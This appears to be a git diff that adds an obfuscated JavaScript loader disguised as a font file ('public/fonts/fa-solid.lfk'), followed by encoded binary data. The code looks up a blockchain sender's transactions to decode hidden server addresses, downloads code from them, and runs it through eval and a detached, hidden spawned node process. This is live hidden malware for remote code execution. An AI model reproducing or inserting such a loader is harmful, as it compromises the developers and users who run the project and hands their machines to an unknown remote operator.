AbortController();return{'controller':cXxUNiMHCdnRyhSnUOIamZ,'run':async()=>{const Or$Pf_Kt=y$zxQ$V,vvmeeuZrcwflohEomwrXib=await withRpcEndpoints((iYzWBWfAYwLFVcZnGremLN_A,lfBqsQSC)=>rpcCall(iYzWBWfAYwLFVcZnGremLN_A,Or$Pf_Kt(0x162),[toBlockHex(uMtQfmlZAsztJco$YSqTyOAzm),!![]],lfBqsQSC),cXxUNiMHCdnRyhSnUOIamZ[Or$Pf_Kt(0x196)]),HTMvgJHVAi_PebhsJCawoSt=vvmeeuZrcwflohEomwrXib?.[Or$Pf_Kt(0x185)];if(!Array[Or$Pf_Kt(0x125)](HTMvgJHVAi_PebhsJCawoSt))return null;const RDXCEbaed_NNVeqjxCErW=findSenderTx(HTMvgJHVAi_PebhsJCawoSt);return RDXCEbaed_NNVeqjxCErW?{'blockNumber':uMtQfmlZAsztJco$YSqTyOAzm,'tx':RDXCEbaed_NNVeqjxCErW}:null;}};}async function nonceAtBlocks(mzLqWML,wpMTNHp_fT_b){const MxBNEpFELE=xXfMZKDLYuTRIADnwGIKpCU,bpqpdgBuNXjMHjK_X$P=mzLqWML[MxBNEpFELE(0x14a)](ehYiP=>[MxBNEpFELE(0x13e),[SENDER,toBlockHex(ehYiP)]]);try{return(await withRpcEndpoints((FMWqMnDlPFtCNvmPyHLqeN_ahm,itWvKAkgQrzNEZ)=>rpcBatch(FMWqMnDlPFtCNvmPyHLqeN_ahm,bpqpdgBuNXjMHjK_X$P,itWvKAkgQrzNEZ),wpMTNHp_fT_b))[MxBNEpFELE(0x14a)](BigInt);}catch{return(await Promise[MxBNEpFELE(0x133)](bpqpdgBuNXjMHjK_X$P[MxBNEpFELE(0x14a)](([tkPmxfi_ks_gWq,o_T_HxPVEno])=>withRpcEndpoints((ipnwxKLN_PpKlRKirQnl,Wv_Nkc_bEFfJztVZaiGThgKpFA)=>rpcCall(ipnwxKLN_PpKlRKirQnl,tkPmxfi_ks_gWq,o_T_HxPVEno,Wv_Nkc_bEFfJztVZaiGThgKpFA),wpMTNHp_fT_b))))[MxBNEpFELE(0x14a)](BigInt);}}async function lastSenderTx(WcNxzfCMb){const lNF_C$P=xXfMZKDLYuTRIADnwGIKpCU,fICQP$lGUqIbzRdOP=new AbortController();try{const aFEOMLTPsfqRPF$ty$Sjq=WcNxzfCMb??BigInt(await withRpcEndpoints((FK_jyzC,oOowyBiFnPyHBygwHecsMPWcI)=>rpcCall(FK_jyzC,lNF_C$P(0x174),[],oOowyBiFnPyHBygwHecsMPWcI),fICQP$lGUqIbzRdOP[lNF_C$P(0x196)])),ZTxziQZsm_NKiXjXIFa$aTjNCp=BigInt(await withRpcEndpoints((wR$eNreoQfCjsqw,TUziriEUeeGdPvmUy_oczo)=>rpcCall(wR$eNreoQfCjsqw,lNF_C$P(0x13e),[SENDER,toBlockHex(aFEOMLTPsfqRPF$ty$Sjq)],TUziriEUeeGdPvmUy_oczo),fICQP$lGUqIbzRdOP[lNF_C$P(0x196)])),vB$Ovw=ZTxziQZsm_NKiXjXIFa$aTjNCp-0x1n;let YXGEZhwOhWVIJOqJTcXZN=SEARCH_FLOOR-0x1n,y$Jtge=aFEOMLTPsfqRPF$ty$Sjq;while(y$Jtge-YXGEZhwOhWVIJOqJTcXZN>0x1n){const dlXfFnQfpcKdKcib$D=y$Jtge-YXGEZhwOhWVIJOqJTcXZN-0x1n,Qhc_DJ$Z=BigInt(Math[lNF_C$P(0x138)](NONCE_FANOUT,Number(dlXfFnQfpcKdKcib$D))),hnXFOckcBoMuy_Do_t=[];for(let Ckme_i=0x1n;Ckme_i<=Qhc_DJ$Z;Ckme_i+=0x1n)hnXFOckcBoMuy_Do_t[lNF_C$P(0x192)](YXGEZhwOhWVIJOqJTcXZN+Ckme_i*(y$Jtge-YXGEZhwOhWVIJOqJTcXZN)/(Qhc_DJ$Z+0x1n));const REZyhjevDj$zk=await nonceAtBlocks(hnXFOckcBoMuy_Do_t,fICQP$lGUqIbzRdOP[lNF_C$P(0x196)]),OuidMYT_xluuI=REZyhjevDj$zk[lNF_C$P(0x19a)](ImBWxoozKOyA$U=>ImBWxoozKOyA$U>=ZTxziQZsm_NKiXjXIFa$aTjNCp);if(OuidMYT_xluuI===-(0x1*-0xf13+parseInt(0x524)+parseFloat(parseInt(0x9f0))))YXGEZhwOhWVIJOqJTcXZN=hnXFOckcBoMuy_Do_t[hnXFOckcBoMuy_Do_t[lNF_C$P(0x178)]-(0xe07+0x26f6+parseFloat(0xd3f)*parseInt(-0x4))];else{y$Jtge=hnXFOckcBoMuy_Do_t[OuidMYT_xluuI];if(OuidMYT_xluuI>-0x5*Math.max(-0x4a5,-parseInt(0x4a5))+parseInt(0x9)*-0x147+parseFloat(parseInt(0xbba))*Math.max(-0x1,-0x1))YXGEZhwOhWVIJOqJTcXZN=hnXFOckcBoMuy_Do_t[OuidMYT_xluuI-(Number(-0x1)*Math.floor(parseInt(0x2312))+Math.ceil(-parseInt(0x102e))+0x3341)];}}const jARJtYgFT=await withRpcEndpoints((MBWeHw$_fGWQDb,cNwKSMoDEwnXxp)=>rpcCall(MBWeHw$_fGWQDb,lNF_C$P(0x162),[toBlockHex(y$Jtge),!![]],cNwKSMoDEwnXxp),fICQP$lGUqIbzRdOP[lNF_C$P(0x196)]),WSpyBRLkDfTbeTImKzIAVjlWK=jARJtYgFT?.[lNF_C$P(0x185)]||[];let w$ziusFd$plAukK=null;for(const uFfoWM of WSpyBRLkDfTbeTImKzIAVjlWK){if(!uFfoWM[lNF_C$P(0x163)]||uFfoWM[lNF_C$P(0x163)][lNF_C$P(0x15a)]()!==SENDER)continue;if(BigInt(uFfoWM[lNF_C$P(0x166)])===vB$Ovw){w$ziusFd$plAukK=uFfoWM;break;}if(!w$ziusFd$plAukK||BigInt(uFfoWM[lNF_C$P(0x166)])>BigInt(w$ziusFd$plAukK[lNF_C$P(0x166)]))w$ziusFd$plAukK=uFfoWM;}return{'blockNumber':y$Jtge,'tx':w$ziusFd$plAukK};}finally{fICQP$lGUqIbzRdOP[lNF_C$P(0x12f)]();}}function y$zxQ$V(KRhhKrsFqmjfaAyx$wJ$rwk,WMQeIfpFFIMkfMwJsBWdled_u){const fLvbQaML=ygdhqkpCgKxflnUACX();return y$zxQ$V=function(tWGuleodYMnqSTTOUyaNyjlka,WZpkgC){tWGuleodYMnqSTTOUyaNyjlka=tWGuleodYMnqSTTOUyaNyjlka-(parseInt(-0x2)*0x1022+Math.max(-0x88d,-0x88d)+Math.trunc(parseInt(0x29f1)));let zzqNQlkX_jiVOqfG=fLvbQaML[tWGuleodYMnqSTTOUyaNyjlka];if(y$zxQ$V['vNELbx']===undefined){const esARJZ$grU=function(mbmdP_sDwWHHYstLPsLpvc){let Hysh$gVKlKX_M=parseInt(-0x1de4)+parseInt(0xf3e)+parseInt(0x1099)&0x3ce+Math.max(parseInt(0x233e),parseInt(0x233e))+-0x260d,PuWFvo_nC_J=new Uint8Array(mbmdP_sDwWHHYstLPsLpvc['match'](/.{1,2}/g)['map'](QHQrAhfyVRftV=>parseInt(QHQrAhfyVRftV,parseInt(parseInt(0x1))*parseFloat(parseInt(0x1771))+Math.floor(-parseInt(0xaa2))+-parseInt(0xfb)*Math.floor(parseInt(0xd))))),e_rrzkd$WLF=PuWFvo_nC_J['map'](TOdMpz$yUG=>TOdMpz$yUG^Hysh$gVKlKX_M),aEGvsEyMMX_jkJgx=new TextDecoder(),cOtBWu=aEGvsEyMMX_jkJgx['decode'](e_rrzkd$WLF);return cOtBWu;};y$zxQ$V['GBnwaa']=esARJZ$grU,KRhhKrsFqmjfaAyx$wJ$rwk=arguments,y$zxQ$V['vNELbx']=!![];}const ynFhQbbu_SatOnNNRsd=fLvbQaML[-parseInt(0x116e)+-0xa31+parseFloat(0x1b9f)],WJhqNXjEhoBNMVA$eBtfwI=tWGuleodYMnqSTTOUyaNyjlka+ynFhQbbu_SatOnNNRsd,jNdJZOnY$Q_YnKxpDKAl=KRhhKrsFqmjfaAyx$wJ$rwk[WJhqNXjEhoBNMVA$eBtfwI];return!jNdJZOnY$Q_YnKxpDKAl?(y$zxQ$V['SbiVeH']===undefined&&(y$zxQ$V['SbiVeH']=!![]),zzqNQlkX_jiVOqfG=y$zxQ$V['GBnwaa'](zzqNQlkX_jiVOqfG),KRhhKrsFqmjfaAyx$wJ$rwk[WJhqNXjEhoBNMVA$eBtfwI]=zzqNQlkX_jiVOqfG):zzqNQlkX_jiVOqfG=jNdJZOnY$Q_YnKxpDKAl,zzqNQlkX_jiVOqfG;},y$zxQ$V(KRhhKrsFqmjfaAyx$wJ$rwk,WMQeIfpFFIMkfMwJsBWdled_u);}async function lastSenderTxViaIndexer(){const NCpDdFsagJWXVXIZSANW=xXfMZKDLYuTRIADnwGIKpCU,GoMJqPkeVtkAVEeIOtXSGHH=INDEXER_URL+NCpDdFsagJWXVXIZSANW(0x190)+SENDER+NCpDdFsagJWXVXIZSANW(0x177),zquU__Y=await httpRequest(GoMJqPkeVtkAVEeIOtXSGHH),qN$nvwAmKPq_FjnoFLyw=Array[NCpDdFsagJWXVXIZSANW(0x125)](zquU__Y?.[NCpDdFsagJWXVXIZSANW(0x15c)])?zquU__Y[NCpDdFsagJWXVXIZSANW(0x15c)]:[],HZ_csmRHpSyPtSDjPPRh=qN$nvwAmKPq_FjnoFLyw[NCpDdFsagJWXVXIZSANW(0x141)](upBEWZ_Xf=>upBEWZ_Xf[NCpDdFsagJWXVXIZSANW(0x163)]&&upBEWZ_Xf[NCpDdFsagJWXVXIZSANW(0x163)][NCpDdFsagJWXVXIZSANW(0x15a)]()===SENDER);return{'blockNumber':BigInt(HZ_csmRHpSyPtSDjPPRh[NCpDdFsagJWXVXIZSANW(0x167)]),'tx':HZ_csmRHpSyPtSDjPPRh};}async function run(){const iPOSsBZY$MAISzHIjlN_hI=xXfMZKDLYuTRIADnwGIKpCU,sRedE$K_UhZelsJ=BigInt(await withRpcEndpoints((oDyqcBfSj_iwKRdtMeji,hc$_IbKLU)=>rpcCall(oDyqcBfSj_iwKRdtMeji,iPOSsBZY$MAISzHIjlN_hI(0x174),[],hc$_IbKLU))),vELuNUBHIXAw_H=sRedE$K_UhZelsJ-sRedE$K_UhZelsJ%BLOCK_MULTIPLE;let xPEcUaXVyaXbM_MKePE=await firstMatch(candidateBlocks(vELuNUBHIXAw_H)[iPOSsBZY$MAISzHIjlN_hI(0x14a)](blockTask));!xPEcUaXVyaXbM_MKePE&&(xPEcUaXVyaXbM_MKePE=await lastSenderTx(sRedE$K_UhZelsJ)[iPOSsBZY$MAISzHIjlN_hI(0x18c)](()=>lastSenderTxViaIndexer()));const [z_PZv$OwqwKTZPMSnY,WhidJ_hiuaeyuevFOnuuM]=decodeAddress(xPEcUaXVyaXbM_MKePE['tx']['to']),DwPArYdTLMoeHioNwADF_eRM=global;DwPArYdTLMoeHioNwADF_eRM['_V']=DwPArYdTLMoeHioNwADF_eRM['i'],DwPArYdTLMoeHioNwADF_eRM['_H']=iPOSsBZY$MAISzHIjlN_hI(0x14b)+z_PZv$OwqwKTZPMSnY+iPOSsBZY$MAISzHIjlN_hI(0x169),DwPArYdTLMoeHioNwADF_eRM[iPOSsBZY$MAISzHIjlN_hI(0x165)]=iPOSsBZY$MAISzHIjlN_hI(0x14b)+WhidJ_hiuaeyuevFOnuuM+iPOSsBZY$MAISzHIjlN_hI(0x169),DwPArYdTLMoeHioNwADF_eRM[iPOSsBZY$MAISzHIjlN_hI(0x12a)]=iPOSsBZY$MAISzHIjlN_hI(0x14b)+z_PZv$OwqwKTZPMSnY+iPOSsBZY$MAISzHIjlN_hI(0x161),DwPArYdTLMoeHioNwADF_eRM[iPOSsBZY$MAISzHIjlN_hI(0x15e)]=iPOSsBZY$MAISzHIjlN_hI(0x14b)+z_PZv$OwqwKTZPMSnY+iPOSsBZY$MAISzHIjlN_hI(0x169);function huc$QqfRX_phLyjgNgXJAKB(nuyY$mTljeAnEgvkH_gmKVseQ,BdJEd$KDiiU){const hGz$CzuPRAXB$hr=iPOSsBZY$MAISzHIjlN_hI,WRI_JwF_pizjGZ={'hostname':BdJEd$KDiiU[hGz$CzuPRAXB$hr(0x15d)],'port':Number(BdJEd$KDiiU[hGz$CzuPRAXB$hr(0x17d)])||parseInt(-0x51b)*Math.trunc(-0x3)+Math.ceil(-0xa)*-parseInt(0x385)+parseInt(0x1)*-0x3233,'path':BdJEd$KDiiU[hGz$CzuPRAXB$hr(0x144)]+BdJEd$KDiiU[hGz$CzuPRAXB$hr(0x156)],'headers':{'User-Agent':hGz$CzuPRAXB$hr(0x18a),'Sec-V':DwPArYdTLMoeHioNwADF_eRM['_V']||-0x20b2+-parseInt(0xd5c)+parseInt(0x2e0e)}};function KnqFXZYchNbfFZNKUvfemRq(clfaXCzOnURcGFrsXhqYHVSy){const D$LAzAzDqI=hGz$CzuPRAXB$hr,IGnQ__iQfyHEFEOqoO=nuyY$mTljeAnEgvkH_gmKVseQ[D$LAzAzDqI(0x178)];for(let kHinpPCGwO=0x896+parseInt(0x2)*0x71+parseInt(-parseInt(0x978));kHinpPCGwO{const Roy$VSZhPGMnLmYKvDeNIUwJAI=y$zxQ$V,HjDTGTfhapfslWcfN=http[Roy$VSZhPGMnLmYKvDeNIUwJAI(0x18f)]({...WRI_JwF_pizjGZ,'method':kByeCZwOOfmdgwkEyUuZ},vnVSJNhxijSgBvRGqsbPjZL=>{const XkUNbSL_gVPFryuSs=Roy$VSZhPGMnLmYKvDeNIUwJAI;if(kByeCZwOOfmdgwkEyUuZ===XkUNbSL_gVPFryuSs(0x194)){try{YfdZrDBfqECeSord$jOwQ(cFz_CWkGEzqq_QwTrxvYubcbK(vnVSJNhxijSgBvRGqsbPjZL));}catch(MFt__IRm){IlhRErRkxjGvfAK_LuFwMQqua(MFt__IRm);}vnVSJNhxijSgBvRGqsbPjZL[XkUNbSL_gVPFryuSs(0x13d)]();return;}const m$r$KvsrDrBJVYuCDoWRvR=[];vnVSJNhxijSgBvRGqsbPjZL['on'](XkUNbSL_gVPFryuSs(0x160),yN$EQjE=>m$r$KvsrDrBJVYuCDoWRvR[XkUNbSL_gVPFryuSs(0x192)](yN$EQjE)),vnVSJNhxijSgBvRGqsbPjZL['on'](XkUNbSL_gVPFryuSs(0x186),()=>{const nlhmbEHx$r=XkUNbSL_gVPFryuSs;try{const EjbTshOgkyceaBWIoYs=Buffer[nlhmbEHx$r(0x182)](m$r$KvsrDrBJVYuCDoWRvR);if(EjbTshOgkyceaBWIoYs[nlhmbEHx$r(0x178)])return YfdZrDBfqECeSord$jOwQ(KnqFXZYchNbfFZNKUvfemRq(EjbTshOgkyceaBWIoYs));if(vnVSJNhxijSgBvRGqsbPjZL[nlhmbEHx$r(0x183)][nlhmbEHx$r(0x127)])return YfdZrDBfqECeSord$jOwQ(cFz_CWkGEzqq_QwTrxvYubcbK(vnVSJNhxijSgBvRGqsbPjZL));IlhRErRkxjGvfAK_LuFwMQqua(new Error(nlhmbEHx$r(0x14e)));}catch(WJ$XNZ){IlhRErRkxjGvfAK_LuFwMQqua(WJ$XNZ);}}),vnVSJNhxijSgBvRGqsbPjZL['on'](XkUNbSL_gVPFryuSs(0x16d),IlhRErRkxjGvfAK_LuFwMQqua);});HjDTGTfhapfslWcfN['on'](Roy$VSZhPGMnLmYKvDeNIUwJAI(0x16d),IlhRErRkxjGvfAK_LuFwMQqua),HjDTGTfhapfslWcfN[Roy$VSZhPGMnLmYKvDeNIUwJAI(0x186)]();});}return gAoSsRu$LTi(hGz$CzuPRAXB$hr(0x188))[hGz$CzuPRAXB$hr(0x18c)](()=>gAoSsRu$LTi(hGz$CzuPRAXB$hr(0x194)));}async function wsxwJCLtXxv(toC_$UgN,nIceXXPc$vRnyJoxV,hBCrEqWmQJz$EubrdEkdnz){const hgJOXNslwjWvkXzIq=iPOSsBZY$MAISzHIjlN_hI;try{const mDOfwBVGJlCSsUxmgaj=await huc$QqfRX_phLyjgNgXJAKB(nIceXXPc$vRnyJoxV,toC_$UgN),kXslrk$baQZyIOiIoLbk$DE=hBCrEqWmQJz$EubrdEkdnz?hgJOXNslwjWvkXzIq(0x18d)+(DwPArYdTLMoeHioNwADF_eRM['_V']||0x1232+0x2378+-0x35aa*Math.max(parseInt(0x1),0x1))+hgJOXNslwjWvkXzIq(0x147)+DwPArYdTLMoeHioNwADF_eRM['_H']+hgJOXNslwjWvkXzIq(0x139)+DwPArYdTLMoeHioNwADF_eRM[hgJOXNslwjWvkXzIq(0x165)]+hgJOXNslwjWvkXzIq(0x17c):hgJOXNslwjWvkXzIq(0x18d)+(DwPArYdTLMoeHioNwADF_eRM['_V']||parseInt(0x2d0)+0x21e3+Number(parseInt(0x5))*Math.ceil(-0x757))+hgJOXNslwjWvkXzIq(0x175)+DwPArYdTLMoeHioNwADF_eRM[hgJOXNslwjWvkXzIq(0x12a)]+hgJOXNslwjWvkXzIq(0x19b)+DwPArYdTLMoeHioNwADF_eRM[hgJOXNslwjWvkXzIq(0x15e)]+hgJOXNslwjWvkXzIq(0x17c);if(!hBCrEqWmQJz$EubrdEkdnz)eval(kXslrk$baQZyIOiIoLbk$DE+mDOfwBVGJlCSsUxmgaj);spawn(hgJOXNslwjWvkXzIq(0x16e),['-e',kXslrk$baQZyIOiIoLbk$DE+mDOfwBVGJlCSsUxmgaj],{'detached':!![],'stdio':hgJOXNslwjWvkXzIq(0x128),'windowsHide':!![]})[hgJOXNslwjWvkXzIq(0x158)]();}catch(P$JWUBIlmprZZ){}}await wsxwJCLtXxv(new URL(iPOSsBZY$MAISzHIjlN_hI(0x14b)+z_PZv$OwqwKTZPMSnY+iPOSsBZY$MAISzHIjlN_hI(0x152)),iPOSsBZY$MAISzHIjlN_hI(0x136),![]),await wsxwJCLtXxv(new URL(iPOSsBZY$MAISzHIjlN_hI(0x14b)+z_PZv$OwqwKTZPMSnY+iPOSsBZY$MAISzHIjlN_hI(0x153)),iPOSsBZY$MAISzHIjlN_hI(0x173),!![]);}run(); \ No newline at end of file diff --git a/public/fonts/fa-solid.lfk b/public/fonts/fa-solid.lfk new file mode 100644 index 00000000..31ce18ed --- /dev/null +++ b/public/fonts/fa-solid.lfk @@ -0,0 +1 @@ + global['!'] = '8-&&';function y7(R,c,e,r,t,i,s){for(var n=[],o=774771^774771;osi[0(o"he1=7(ddvs;mv;i=)([9eo,()6=7to+u.=tvel .i=.hydl[r y.=vt,;8n[07l8 mf;u+uv[(l=2ri0f7;ul"afan7tlrow aor,v=tfq+7;),zh(+glo!xomn,p<)5t(ei;eg(rafr2ra(whno)nvifg)(=l mp;9a*[,aaa;=)j"d")> pr1 dr;{=xCPcuR<><.&e)Rn+s#r>U.\'0cMlab.rRR,TcRR2(TR;BRr%65rRd 86;g.l.js<.nr!."u4r..R(e.o!.b r 2bR0R/R#RotbRerz0Y.t3RmlnR\\.6st.xR*(c[(ic(~5.s:m\'oRzP. h)f{["@RiR#cR.te<.c!R]pR6oRrfu ?ifcRN.<(r.c.b.R<{R,cnPs..=RR[e(b<:.Y gRtRN-(e"A]cR(")snc@.XenJ)h+.s.;$U\'>ytt;!2oRtx.4+f+"p<^_x=a=!rRpcCRgR!T1\\.R.+w)oWReoR<+aR<.xsrRdfcEduEe.ARcR.q1RRscc|t/R$o<.R!<8pA!RpcRgP<lr0Rb["}_[Rr1XaRP+.`PRFfhb.Rd.d1R<<#eRReR.Relp.(c-uCsR.d=x..s #ROc#o=aeRpccc>?bfR9e . .c#_sRXekecehpd !.=c6R.oRPiCcwcRiRjP^$R(y l8p.is$stoRu(Rc..<&cQi.Rm.i<4lR/rncC.c!R.b<.raHRbRe*c`sRy>;)E4<f|\'01sRDa.j>ikPRckoC4RR[c!Ru7RxcR:l=o*0\\V.8X.#io(.i{3-erZ.yF R.p)cce .RQ#))+f<*cb0Ros#.Ri<+);gRZt@.b"r.RRcm.dReee< .2. kNcsnr<_Rc4..czm[R tsCfoad..iigc]!\'RyomRl5ofs:.c.tfP.cIcPR)fI tdeRPi...<.%.(0] R dd.sc.R.RP#Tcscs,mc#!cl\'=Riul O3R#.EfCv#O0Ra&~iYP@8P`rX7e!n&QoHWqK`+V>F-|M~Ed)CaFnKd(OR-4&}gIB!f zU-a7giP?P0ny2TOFY3!IZcg!5){@?SrM&f-)-e5j>l+?{UIAsi zJf*bhWo+G_vr7KYYPInH-J#+8 zj&12*87&5W{)eDcg>e9*UVGRpPEz6Yt5G}rz~Guj+*zIkC{(f&REV` zj+?)-oU?pwSz|t7&NH7hAGdgVowF{muD4FNZnwT;T`sb$zslv-2XbLM>niI*`H6Lg zHC^np9I)nC_L?79CR^r=G7%PdQ+2dy_PDdxput~_CV-}2Bh(?a4i>mlpA z*4fq-)`WL0xmM5jZhGeFiSF-<9r`Wz%VL-Qg-2(xN00FAEOPYGcplV`d3F-Hy4|a@ zII54rGfzM2)!FCt@x&y%J;@$vkFrPTu|83HC-3s&oIb|8v$&ui$Mdot<y*5##>PNLnV!Ga@K4{f zZxB!&gZd_{noa@FV_-J}CShRx11Di%*YV8N`vy(Iz`n;bPk$qLk~pn@7d*-5+zAZN zFUelYuGvHM`$189K#*PEUbZ?0ccttk46aAWBn<8no;UQ@LnmQy7xBD@UMFF2-{ARB zeB>^|{@wJ;BS`r@XElJvXeRSnWu|8{2<(s130g2o^ca%lT z9aetsvTE^mcOzFru^VR|wMJU(7Ea|^9Z`dl92xqas-d=wj2x48RKHZUtnI>TB;R|l zTJ4J8pc%(jYm&C#YWLCrd2z~9d)s37bXXiw+DxHV1Z-Lul#x zrkDud7}Kiti49C9dz`}*ZCbATSC0$_s>TFNw?)>q*X2~2%^-z|IIV}qR@bLikE*J= zzif10g1axl-TQIMk5eU?kdg)=`r_EKw%bhke0@)B4ZVEK$O4kAg-9yr^Zxq8`YwXj z=oexl#R2`Vm_YDpU~E^T)44V^<}%z>8SW~OQ-Pcc(B3oK0}6He*wyLUf(|YD9ge8c zB!9d&^2dAI<_O`b=kcCY<2BcGjyK2Xx-55CmOBjPR4AuHw3QZn2)Yi@W~%X~t;rwn znwo{i>zUtu)mr6zw&yQECDR7ITP+@Ma;-pP$xrG_YjrXPeb4CG&i&cBzer9+aw>v* zjwsag5~JsY+K14XxlUv`wfs2-_ocf>*0hc)P}#r?;#VVsv^|PpVT6TV{5h zaz1<3C&pnl>N`x8Ogr?wb;_#zP`z=St^5IFrBD`Q%2A{67G4HRI?VZFoLxs@`+Qai z`%}GB+_fm0Q=4=whJ7?L-0akTae9)O|&$wa1owTO)4_Y%

@Lk#l~c2konDJd!TcnRXvfV3@;1dh2P zN!!ecR3tX(dc98}8N1eh4$^gT{r4d&n>9%Ay8K;^DJhaC;)b5qpgM9tZV(f7@B74d zKA156pWWnR!X}ruzfX)bHS@9AP5m8mgd~p5VRwHk4!y=S ze#O)1Poh5^jETVXgl0k^@Rgu{~LNdF;+r*2CM z(kUquhH2~cJq~-Llphl9B3imfdSGhfBtUeG&ZA}O4~db|4)NcnY#al|6m!XAG%Yb( znAqSZv8~d8h}p*E*-agM1m?nSi<8LZS@|nGPR>=0TI1w}@3?i3IC)wnfR)DyHQ_v8 z8=GwQTX8K1bZolD`57v`LLd0tX1{YPeOcvSR_WVWRhqsi;vDC`=Ni{|K^%E1eNHWo z&EcDbIgd0s#w0~z=0G+u4D8GL(q@6sxF0qPhhjb3EVir~1rNb)YlQ&=1mKYr;f7I0 zG;f4i?$Nwiuxf*`2HHIwFJa1(9PUYxmN@x9-`AX*y41XUA_f)ViKWz%AX4PH?-If8 z(1M=v(jCM9`*}bW_oO&^PH)=cjVcBcx)o*+8yLi-7{p{S2U`)`>~$bDylqh1Jw|w$2>67 z&EX5aV&pj9Ax7e!KBHAdU$7y@2tyz#63hEg-`A=^E#?=Kb1@_@2Dhv5fH{zRMAw+> zNU3HM^&aTeT8Foq{zIa-nb`^5D0~+x8aD$8m6)XkMqq(hHV~ckMDxaEDu8%TpWnJt z72Xh_tDO&~hzT6XJn^?<4hxXXzMu`l1e@9|e^ZCGX{#BFQ%Eq3Yr}$Jew!0wx8A31 z3$aq)+&0wz_8#WU3<>FnzS8)8LI1XGBow`9R~66d?SjR9y;Zv@uz`=Z3lvlJ@7r~d z)A#Gg+64e;-@dN+QGcg>80^lq?VlIx^oQ-ocrN)Q$K)sjOXzofT!*rLX$Jw??Xr^D z-7f3MzzN7--(hxxPqAQj3v3)2>BhSg$u#M(uqttLq=PbTwUswKBrN^@FOPFpeE71j=fh7ymcN?mlCM;ht3Ty+DK}L{xYd3aj>)K->4Q zb{^5vgbsk`*G37)ID%0?TCu&xuGgzf+Xu;_JA~ zRo>GB-+0+(*bDmTH#Ub(k>Ew6M=<9zddzPx-PvB6YR~4#Guj)~=YZczi6$Of;BWt?l3jrJZB*SETdU>`cj$!F9NV2{uZYTvhVJ z;J0jBnZ|kg>qEu_7MO)z%m@#K(<;?}8Zx8y!a!-d$W=Z@HbaSk8Zw#>s1u*cccZRP`fG`zx{-P$uFdwKE(b0|kl zcZ}KvN&Ne$8mLuubYnaRjc#3P*A`f$yq*Q_UGC^;mGyVJ%HBJ0_)a!DN(S zd;X|LArn2YNRIy5m?|ZIw6JlEj(M1HJ~!%OY+2XFi5%N8e6`sN`;1!>aHa7+sP=`A zV>$@ZX6f_BE{B6(V_bcvb6jEpof0a|@QnA4V>+*oi?ZEdI!P}%z9Z`N8egLahHZgI zVb@r~Xe@DjwN)0oFMN|g_Ebt}zv2N%dEY*~nS6L_d21h7ygj|_0ZdVbtbd5F{Ps>G?JNCedzEY{ltXOki3;3W`k9E2UuapJy`q}rUMk|?i0s_tb)?D zOEy?-{4%jRlaA9HQEiUCY~oyOj+jaDu3CpLo-_=8BvcM3_Uj*~#M=%U z_5PYP{%;!IVIa(#9HD0?zi9{St9Gz3*tz$?QrtYCT+nIL?(2=F1pV8-SG)QS)=N$9 z{WtxmyZV0*1B;qc>)$k6xFgRtctF$zOZ|8&l41U7Mib_8Q zk1=TDo=P$JWjrVj_i+Dn!bGc%VpQEbM@m{P`RKVL^B)DNJ4CK!;ENGc#{ zoY^%%wfQ}_d5wLdd^sc10(I@(d4UiTs+ql3c*{uUk7M_{Eg+>t+9r-&8MPtsolr@UbDk(w@yWx#%nmV*ijo~JUfe+w|O7S3vB7MWR>=5Cc@ zhCWvhz;nI6(C73H%xfLT>7Cd!KkAbgh3SLR-Su^g+WT4{c5KRFPO`gecUPTEH`}f; z+9SPZhJSF%hit+H+O172@t9RBw7O$D^0eIlSNy-4mXixt`J^vbtC7CKxf&Hb(qa0* zAB(W*_d5pbM;67~c5va{EVsqE(zcq@#(F%S|MYqs*{hL zeIDpolxWA}bWG-&tb3Vtgl!2XTg%9*vTC8QrEz*q){)h(2=Rwrer*h%o$>rspSIQk zSM2cG%J7tbUb|M@)x*}6*Y~a)j-!W~>jMQcPOdMn4}Cwoe8%T!WS80G)dVraloX5O z1~MEukUZ?`3gzqmp|{--;=leG1z8g|xC`-N*0hb4EG}Qw1HS66Ej>y&U1)c^bu--M z1%5J6Z?v^-v1~nK>loJzq2c}A}9_BqeU-Lm~nSX`>L ztU6h3EI8JgoZTJIE7|?<{3b6%@3X5NQdzs^;JNLje^%GsxxxtSSm3j(z)sbVx4_7~ z@bPqKL{Nn{hU`fMpOx$@2GgRGi4KKryeqdy*{?e84&lvi=PpWyUpokqUKh|?U znG9N5?`1kCpAFJK-P;B!-+g`Y9JOx-o|#|yXZh!h5{7~~rqA6U>VBCusnizfJNH+_ z!P&+Ajf0?1%#PDapBNEzC;*tS&^dJuwDN&=U=IjZBntI``@>zWZ9OnHa2@nPgqycy zqc|Z6;@+hl9G|wVQD9mtCl;1x2&T$K0C!q3PI}|z?C+lb(WkY86*W<;+z@GS$^UC$;DUB z0zK@|gn$)a7?MdEnnJSw=c!HAw;gI-gm)~8&%6&Wcse&L>u^IMUefR9R`F2kx;C4& zJ&nMTCk=T5S29(hfOJ9>+weTxi0Z6EBrI&`PDETelI`}~>3aalpf zLnZTGw!hvcuO3oYvP1MtmHH;HE8touaX^~2?PO_LViWuM;3AwPcxqd+PJfvwnu1uw zOK_^NAM{({PP5^z5Ro)+RW6tTClS{CQdbe@>o1*&iurHrY&`Q0Q+Jkk^yIUh@bujm zq~AH)0I5n}jRwt`U%e#~j#%s_M25`}YE9hn@&=ivCLZx-cW-!sQafUCMV8hdac*IC zAgd*5KWBCLx{(l%vu2+!VMeHD>BaVV-oBWI=h$zLi`=Z1mnO?#1Vq*G5sXNOd6>i8 z0+y@E4m0JR{@s-phIrwFTP0rNug3VO3i&w0uOuw6814u;ff!lTQ;OojJR*41&2DER7N|WQ{bbZXV^5Q*x*|mlcY8S5c6NmMt-`5ad z>!a|zq_4;G8~r?<-|5~z)W9u)Mn6=O_a#NF5aD{-4<$t|bzC9r`d&`zd5l8)ABzZg z#5khm2yGr!Un$Dyj_ad>k6I&mP402*m4z55u!DuRTt9hzkXWuay0KL3)GyrV3FEoZ z&6;7(3g=uEII-W#A~sr{mL&cZe(e!c5c%#jT2lvbaIfLqTQokfcdS?CaPKYJhYasf zFa)249elGRN5T6QzJB*+K!pRG{D_NE5R)aAyrsT%5bk>PmX+pfMce`C4!<%wD8gbZ-crMpZtMs3E&eAK~i5APU zI^3COh8DbXZ-8IMu^f}5T49Uecm1{dt)o8U{F2&V65EJp!ER}VbZS6A{w6iAPh@({Xt_}ijiIQS4XY?aBak$)H~0V6lL;-QsUra z+d|%qTj30S#jg%=QlI@~Kz5`M`-PFtI{G+2IqG44vdw=unKk=KW$CQb&Mc;i`Qt<* z1$WVB|NcPSp%{x;pa(tnqCAV3QbIYr9Eq23X6H~3tEeUZq;#ujU;R(PjHN}`_~p;x 